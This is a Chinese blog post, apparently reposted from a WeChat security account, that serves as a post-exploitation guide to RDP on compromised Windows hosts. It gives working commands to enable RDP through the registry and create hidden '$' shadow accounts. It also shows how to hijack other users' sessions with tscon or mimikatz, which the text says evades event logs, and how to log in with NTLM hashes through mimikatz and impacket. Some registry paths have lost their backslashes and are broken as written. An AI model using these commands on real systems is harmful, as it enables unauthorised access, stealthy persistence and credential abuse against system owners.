9、对RDP常规操作

admin 2022年5月1日13:33:12评论35 views字数 2515阅读8分23秒阅读模式

9、对RDP常规操作

9.1、查看rdp服务端口

这里有两种方式可以获取rdp服务端口,一种是通过注册表

REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /V PortNumber

得到连接端口为 0xd3d,转换后即为rdp端口。

tasklst /svc # 查看开启远程端口的服务PID(有TermService 标志的)
netstat -ano # 查看PID ,对应的端口就是远程服务的端口

9.2、开启rdp服务

老版本和新版windows版本不一样

windows server 2003

开启:
REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭:
REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
开启:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1`
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

windows server 2008

开启:
REG ADD "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

9.3、增加影子账号

在windows中,添加账户名后面加入$符合可以使该用户在命令行中隐藏

例如:

9、对RDP常规操作

我这里添加了一个普通用户,但是用net user命令却看不懂此用户。

但实际上确实是存在的

9、对RDP常规操作

9.4、RDP劫持

假如我们已经控制了一台主机,通过查看任务管理器发现当前主机上还有另一个用户曾经登录过。我们就可以尝试使用rdp会话劫持的技术来访问这一个用户的用户空间,也就做到了免密登录,这种操作的好处就是攻击者会逃避事件监视器,因为攻击者并没有创建新的会话,而是有效地充当被劫持会话的用户,取而代之,所以日志文件中无法显示会话劫持记录,也记录不到。

通过以下命令查看所有已连接的用户:

query user

9、对RDP常规操作

可以看到有三个用户,而admin123就是当前我们远程登录的用户,这里我们利用Windows自带的tscon.exe程序来进行RDP劫持,tscon.exe可以使用户可以连接到系统上的其他远程桌面会话,或在不同的会话之间切换。

首先我们创建一个服务,命令如下:

sc create servername binpath= "cmd.exe /k tscon 3 /dest:rdp-tcp#3"

简单解释下上面的命令,这里的3是我们要劫持的会话id,rdp-tcp#3是当前用户的session name,服务创建成功后启动服务:

net start servername

然后会观察到窗口闪了一下,打开一个新的串口,输入whoami可以发现当前用户切换到了admin1

9、对RDP常规操作

9、对RDP常规操作

我们也可以使用mimikatz来进行rdp劫持的操作,相关命令如下:

privilege::debug #提权
ts::sessions #查看当前主机的会话
token::elevate #提升本地管理员权限为system
ts::remote /id:1 #劫持id为1的会话

9.5、PTH RDP

有时候抓不到明文密码,也想登陆rdp服务咋办?这时候就可以PTH RDP,利用hash去认证rdp服务。如果使用hash远程登录RDP,服务端需要开启"Restricted Admin Mode",在Windows8.1和Windows Server 2012R2上默认开启,同时如果Win 7 和Windows Server 2008 R安装了2871997、2973351补丁也支持,Client 也需要支持Restricted Admin mode。

手动修改注册表开启方法

位置:

HKEY_LOCAL_MACHINESystemCurrentControlSetControlLsa

新建DWORD键值DisableRestrictedAdmin,值为0,代表开启;值为1,代表关闭

REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
查看是否已开启
REG query "HKLMSystemCurrentControlSetControlLsa" | findstr "DisableRestrictedAdmin"

使用minikatz来进行PTH

privilege::debug
sekurlsa::pth /user:admin /domain:remoteserver /ntlm:hash "/run:mstsc.exe /restrictedadmin"

也可以用Python实现(rdp_check.py)

https://github.com/SecureAuthCorp/impacket/blob/master/examples/rdp_check.py

脚本运行前需要安装Impacket

rdp_check.py /[email protected] -hashes :NTLM



该内容转载自网络,更多内容请点击“阅读原文”

9、对RDP常规操作

原文始发于微信公众号(web安全工具库):9、对RDP常规操作

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月1日13:33:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   9、对RDP常规操作http://cn-sec.com/archives/966811.html

发表评论

匿名网友 填写信息